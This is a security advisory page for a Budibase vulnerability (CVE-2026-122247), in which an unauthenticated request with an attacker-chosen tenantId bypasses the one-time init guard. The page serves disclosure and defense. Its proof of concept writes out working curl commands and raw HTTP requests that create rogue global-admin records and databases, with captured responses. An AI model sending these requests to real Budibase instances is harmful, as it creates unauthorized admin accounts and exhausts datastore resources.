Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Skip to content
Check your stack
CVE-2026-122247

Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard…

Products / packages budibase · @budibase/server

Published

Share

Severity and exploitation

Not in CISA KEVSource: HIGH

KEV coverage does not rule out exploitation.

KEV checked 28/11/2026, 20:35:30 UTC
OSV · CVSS:3.1 · 8.2
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
GitHub_M · CVSS:3.1 · 8.2
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
The headline uses the highest imported catalog score. Assessments can differ by source and CVSS version.

Severity

high8.2

CVSS measures technical severity, not the likelihood of an attack.

Known exploitation

Not listed in the checked CISA KEV catalog

Absence from CISA KEV does not rule out attacks.

Public exploit

Not established by this record

Missing evidence does not mean no public exploit exists.

Remediation

Fix status not established

No structured fix or guidance is available here. Check the latest publisher advisory.

What this means

Budibase versions before 3.50.0 have an unauthenticated bypass of the one-time initialization guard, allowing an attacker to create global-admin user documents and databases without credentials. This affects self-hosted single-tenant instances exposing the worker API.

Summarized by @cf/meta/llama-3.3-70b-instruct-fp8-fast. Verify details against the original sources.

Attack conditions

No attack-condition excerpt has been identified here. Review the full source description and references for authentication, network access, and configuration requirements.

Review supporting sources →

Affected versions

Check the exact model, release, and any platform requirements against your installation.

Budibase · GitHub_M

budibase

1 range

Compare with this publisher’s ranges. This does not inspect your installation.

affected

< 3.50.0

unaffected

unknown

Other versions: unknown

Packages

Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.

Affected range Recorded fix
Earlier releases through 3.38.1 (inclusive)Semantic versionsNot recorded

Version evidence: OSV · GHSA-25qc-m4pw-2w8r

View original version evidence (0 explicit versions)

What to do

Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.

No structured fix or remediation guidance is available here. Check the full source description and vendor’s latest advisory for a patch or workaround; do not assume another version is safe.

cve.new guidance unless attributed to a publisher. This page does not inspect your installation.

Public exploit evidence

No public exploit reference is identified in the imported evidence. This is not a claim that no exploit exists.

Original source description

Read the full publisher description

Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)

Description

Summary

On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>_global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.

This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.

Details

Root cause chain (source, tag v3.44.0):

  1. packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLIC_ENDPOINTS, so auth.buildAuthMiddleware(PUBLIC_ENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NO_TENANCY_ENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NO_CSRF_ENDPOINTS.
  2. packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL. On a self-hosted instance (SELF_HOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here.
  3. packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser).
  4. packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId.
  5. packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context.
  6. packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>_global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.

The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.

Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.

PoC

Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.


Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (default)
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'

Burp - Request

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 82

{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Request

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78

{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}

Burp - Response

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}

The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us_… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.


Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).


Step 4 & 5 - datastore side-effect: a new <tenant>_global-db and a real global-admin document

Read directly from CouchDB inside the container ($COUCH_DB_URL = http://admin:…@127.0.0.1:5984):

GET /_all_dbs =>
[
 "app_cc322a9cd27a492eb934f43b146c6e81",
 "app_dev_cc322a9cd27a492eb934f43b146c6e81",
 "f7poc_global-db",     <-- created by the unauthenticated init call (tenantId=f7poc)
 "global-db"            <-- legitimate default-tenant global DB
]

rogue DB 'f7poc_global-db' present: True

The document created in f7poc_global-db is a full global admin:

{
  "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
  "email": "pwn-f7poc@evil.test",
  "admin":   { "global": true },
  "builder": { "global": true },
  "tenantId": "default",
  "roles": {}
}

Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'

Burp - Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"Invalid credentials","status":403}

With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).

Impact

Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.

Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can:

  • defeat the first-run setup lock that is supposed to be permanently closed after provisioning;
  • create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore);
  • create an unbounded number of CouchDB databases (<rand>_global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the _dbs metadata shard).

References

6 sources

Inside the record

Evidence available

Package identity
Version evidence
Remediation guidance · not supplied
Weakness classification
Additional publishers

Describes the evidence in this view, not whether the product is safe.

Original records

CVE-2026-122247

View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.

cve.new JSON →

Underlying weaknesses

The source’s classification of what caused the vulnerability.

CWE-284 ↗

CWE-284: Improper Access Control

GitHub_M

Related →
CWE-306 ↗

CWE-306: Missing Authentication for Critical Functionality

GitHub_M

Related →
CWE-770 ↗

CWE-770: Allocation of Resources Without Limits or Throttling

GitHub_M

Related →
CWE-863 ↗

CWE-863: Incorrect Authorization

GitHub_M

Related →
Contributing organizations · 2
GitHub_M

Assigning organization

2026-11-20
CISA-ADP

Additional data publisher

2026-11-23

Timeline

All times UTC
  1. Advisory published

    Publication date supplied by the source.

  2. Source updated

    Latest modification date supplied by the source.

  3. Last imported by cve.new

    Latest catalog import, not the date we first saw this advisory.

What changed

Follow changes
  1. CVE · CVE-2026-122247

    Observed 2026-11-23T16:46:39.728Z · upstream updated 2026-11-23T16:38:11.000Z

    Prioritization updated

    before

    []

    after

    [
      {
        "source": "CISA-ADP",
        "type": "SSVC",
        "role": "CISA Coordinator",
        "timestamp": "2026-11-23T15:31:09.838885Z",
        "decisions": [
          {
            "name": "Exploitation",
            "value": "none"
          },
          {
            "name": "Automatable",
            "value": "yes"
          },
          {
            "name": "Technical Impact",
            "value": "partial"
          }
        ]
      }
    ]

Large field values are marked as truncated previews. Original source snapshots remain retained.

Showing up to 50 most recent observed changes.

Recent advisories affecting the same package or the same recorded vendor and product. These are separate vulnerabilities, not additional evidence for this advisory.

medium5.4
CVE-2026-137961

Budibase before 3.51.0 Filesystem Oracle and Directory Deletion via body.file.path

Budibase before 3.51.0 contains a path traversal vulnerability in the workspace create handler that allows authenticated CREATOR users to probe server paths by supplying an unvalidated body.file.path value. Attackers can enumerate filesystem existence and type, and for directories containing db.txt, copy contents into their object store namespace before the directory is recursively deleted.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

Budibase · budibase
high7.1
CVE-2026-137962

Budibase Server before 3.48.0 Authorization Bypass via Public API View Search

Budibase server before 3.48.0 contains an authorization bypass vulnerability in the public API view row search endpoint that skips per-view permission checks due to a tableId/viewId parameter mismatch. Authenticated users with READ_ONLY role and an API key can query restricted views to read data limited to higher-privileged roles.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

budibase · server
high8.6
CVE-2026-137491

Budibase before 4.0.0 Query Injection in ArangoDB and Snowflake Datasources

Budibase before 4.0.0 contains a query injection vulnerability that allows low-privilege or anonymous users to inject AQL or SQL by supplying unescaped parameters to ArangoDB and Snowflake queries. Attackers can execute published queries with crafted parameter values to bypass filters, read entire datasources, and modify or delete all stored documents.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

budibase · server
high8.8
CVE-2026-137492

Budibase before 4.0.0 Workspace Backup Authorization Bypass via backupId

Budibase before 4.0.0 contains an authorization bypass vulnerability that allows workspace-scoped builders to access other workspaces' backups by supplying a foreign backupId. Attackers can substitute predictable backup IDs in backup download, import, update, or delete routes to steal archives, restore victim data into their workspace, or delete backups.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

budibase · server
high8.6
CVE-2026-137493

Budibase from 3.0.0 before 4.0.0 Authorization Bypass via View Row Routes

Budibase server from 3.0.0 before 4.0.0 contains an authorization bypass vulnerability that allows view users and anonymous visitors to access entire base tables by passing a view id to the /api/:viewId/rows routes. Attackers can read, export, modify, and delete rows outside the view filter, including hidden columns, or read the full table unauthenticated through PUBLIC views.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

budibase · server
critical9.9
CVE-2026-137494

Budibase before 4.0.0 Cross-Tenant File Deletion via Attachment Key

Budibase before 4.0.0 contains a broken object-level authorization vulnerability that allows authenticated users with table write access to reference other tenants' files by supplying arbitrary attachment keys on row save. Attackers can inject a victim app's attachment key into a row, then update or delete the row to delete that object from the shared APPS bucket or read it via presigned URLs.

No structured fix or guidance is available here. Check the latest publisher advisory.

Exploitation not established

budibase · server